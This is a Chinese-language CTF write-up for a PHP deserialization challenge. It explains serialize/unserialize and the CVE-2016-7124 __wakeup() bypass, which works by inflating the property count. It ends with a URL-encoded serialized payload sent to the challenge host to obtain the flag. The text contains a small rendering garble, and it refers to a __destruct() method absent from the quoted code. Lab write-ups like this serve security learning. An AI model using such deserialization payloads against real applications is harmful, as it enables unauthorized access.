考点是 php反序列化以及wakeup()方法绕过
知识点
1.serialize:序列化,把一个对象转换成字符串形式,可以用于保存
unserialize:反序列化,把serialize后的字符串转换成一个对象
2.__wakeup()方法绕过
(CVE-2016-7124)
作用:与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
解题
先打开页面
是一只会动的猫,倒是挺可爱,查看代码
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
public function __wakeup(){
$this->username = "guests";
}
public function fun(){
echo $this->username;echo "<br>";echo $this->password;
}
}
$a = serialize(new Name("admin",100));
echo $a;
?>
大概可以看出,他要让我们通过反序列化来执行__destruct()中的echo f l a g 。 两 个 条 件 flag。两个条件 flag。两个条件this->password == 100,$this->username === ‘admin’。
将上面的代码反序列化得到
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
其中name后面的2,代表类中有2个属性,但如果我们把2改成3,就会绕过__wakeup()函数。而且因为是private声明,我们需要在类名和字段名前面都会加上\0的前缀
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
到这里我理解为什么看大佬写的都是%00name%00username
了,因为如果上面的payload不用python提交,在url栏中会出现\0
,有空白符,而复制的时候会丢失,返回结果像下面一样。
加上%00
最终得到payload:
http://4e7d7aed-be77-4db0-8c25-5d2f5bc5b380.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
结果
得到flag。